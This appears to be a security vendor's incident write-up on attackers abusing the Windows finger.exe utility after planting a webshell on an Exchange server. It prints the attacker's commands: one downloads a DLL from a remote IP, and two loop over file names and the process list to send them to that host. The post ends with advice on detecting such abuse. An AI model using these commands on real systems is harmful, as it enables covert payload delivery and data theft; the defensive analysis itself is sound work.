Can’t Touch This: Data Exfiltration via Finger

During the various phases of an attack, it’s not uncommon for threat actors to use “living off the land” binaries (LOLBins) or scripts and libraries (LOLBAS). Doing so means that the threat actor has fewer tools to bring with them, and it also reduces their chances of being detected because they’re hiding amongst seemingly normal activity within the environment.

There are a number of tools provided in a standard Windows installation that have legitimate uses, but some tools can also be used for malicious purposes as well.

For example, the LOLBAS website lists multiple tools that are native to the Windows operating system that can all be used for data ingress (MITRE ATT&CK T1105). One such tool is finger.exe, which is intended to allow a user to query a system for information about logged-in users, but it can also be used to download files to the endpoint.

What Is “Finger”?

Finger is a client-server application that allows a user to interact with a finger server or “daemon.” It was originally developed in 1971 to provide a means for users to query remote systems for a list of logged-in users. The finger protocol uses TCP port 79 to communicate, and it was originally developed for Unix systems. However, Windows systems also include a finger client application as part of the operating system distribution. This means that the application is a native utility that exists on Windows systems and doesn’t have to be downloaded by a threat actor in order to use it.

Data Exfiltration In The Wild

Huntress analysts recently observed another use for the Finger application: to exfiltrate data from the endpoint. In this particular case, the threat actor was able to create a webshell on an MSExchange server. This particular endpoint was not running Windows Defender, and was therefore not monitored via Huntress’ Managed Antivirus feature; however, Huntress Managed Endpoint Detection and Response (EDR) was available, and was recording process creation information. In fact, much of the threat actor’s activity was detected, such as their use of rundll32.exe, curl.exe, and certutil.exe.

Further investigation into the threat actor’s activities beyond the alerts observed by the Huntress SOC on the endpoint revealed that finger.exe was used to download a file to the endpoint:

"C:\Windows\System32\cmd.exe" /c finger a@185.56.83.82 >> exchange.dll

In addition, the threat actor used finger.exe to develop situational awareness of the endpoint via the following commands:

"C:\Windows\System32\cmd.exe" /c for /f "tokens=1" %i in ("dir %TEMP%\\*.txt") do finger %i@185.56.83.82"C:\Windows\System32\cmd.exe" /c for /f "tokens=1" %i in ("tasklist") do finger %i@185.56.83.82

The first command obtains a directory listing of all text files located in the C:\Windows\Temp folder (all commands are run via the SYSTEM account) and sends each returned file name to the remote endpoint.

The second command does the same with the process listing, sending each process name to the remote endpoint, unencrypted, via TCP port 79. However, individual commands appear as finger lsass.exe@185.56.83.82, seeming to be an attempt to download a file from the remote endpoint.

In September 2020, an advisory was published by security researcher John Page that exactly described the information exfiltration technique observed by Huntress analysts, which simply demonstrates how threat actors continue to integrate and repurpose freely available tools and techniques in their attacks.

In addition to the “finger” commands, the IP address 185.56.83.82 was also used by the threat actor in both curl.exe and PowerShell commands to download files to the endpoint and launch them. At the time of this writing, the IP address has 488 reports on AbuseIPDB and is recognized on VirusTotal by eight vendors as being malicious.

Conclusion

Threat actors make use of native utilities on the endpoints they access, often in innovative and unexpected ways in an attempt to “blend in.” Ways to address the use of these LOLBins is to understand your own processes to determine if those same binaries are used for legitimate purposes, to monitor for the use of these binaries, and to consider simply removing the ones that are not legitimately used from the endpoint.